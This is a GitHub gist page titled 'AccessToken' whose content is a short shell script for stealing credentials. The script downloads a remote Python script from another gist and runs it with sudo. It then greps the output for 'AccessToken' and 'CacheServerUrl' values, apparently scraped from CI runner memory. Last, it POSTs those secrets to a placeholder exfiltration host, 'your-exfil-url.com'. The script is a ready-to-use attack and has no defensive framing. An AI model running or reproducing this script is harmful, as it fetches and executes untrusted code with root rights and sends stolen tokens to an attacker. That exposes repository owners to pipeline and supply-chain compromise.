Skip to content

Instantly share code, notes, and snippets.

@Firebasky
Created March 16, 2025 07:36
Show Gist options
  • Save Firebasky/39217862dd402c1acd1d24dc00696b72 to your computer and use it in GitHub Desktop.
Save Firebasky/39217862dd402c1acd1d24dc00696b72 to your computer and use it in GitHub Desktop.
AccessToken
YOUR_EXFIL="your-exfil-url.com"
BLOB=`curl -sSf https://gist.github.com/Firebasky/98ad308d7efab5f7ca64bb3b871e307d/raw/188f0d594592eace48fbccaf5b91c954bad2172e/get_token_for_mem | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u`
BLOB2=`curl -sSf https://gist.github.com/Firebasky/98ad308d7efab5f7ca64bb3b871e307d/raw/188f0d594592eace48fbccaf5b91c954bad2172e/get_token_for_mem | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"CacheServerUrl":"[^"]*"\}' | sort -u`
curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment